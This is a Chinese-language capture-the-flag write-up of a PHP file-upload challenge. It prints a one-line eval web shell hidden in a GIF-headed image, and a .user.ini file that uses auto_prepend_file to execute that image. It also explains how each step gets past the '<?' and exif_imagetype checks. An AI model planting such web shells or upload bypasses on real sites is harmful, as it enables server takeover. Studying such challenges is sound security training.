记一道.user.ini利用+exif_imagetype绕过的文件上传的题。
分析
先正经上传一张图片。回显了存储路径,同时发现还包含了一个index.php文件。暂时不知道怎么用。
在上传一句话木马.jpg文件的时候提示<? in contents!,文件中不能包含<?,这个我们可以换个格式写一句话木马。比如
<script language="php"> echo eval($_POST[shell]);</script>
但是上传后提示exif_imagetype:not image!。exif_imagetype() 函数读取一个图像的第一个字节并检查其签名。这个函数我们通过添加图片头就能绕过。那么我们构造一个
GIF89a
<script language="php"> echo eval($_POST[shell]);</script>
确实是传上去了。但是需要解析我们上传的图片马。.htaccess传不上去。这里用到了.user.ini文件
.user.ini使用条件
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。利用.user.ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马。然后利用蚁剑连接即可。
GIF89a //绕过exif_imagetype()
auto_prepend_file=muma.jpg//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=muma.jpg//解析后进行包含
解题
先传.user.ini文件,再将muma.jpg传上去。用蚁剑连接
http://da34ffbe-a0b9-4488-b77f-26931159e50b.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
在根目录下拿到flag。
参考链接
https://xz.aliyun.com/t/6091#toc-2
https://www.jianshu.com/p/2907426b4a91
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html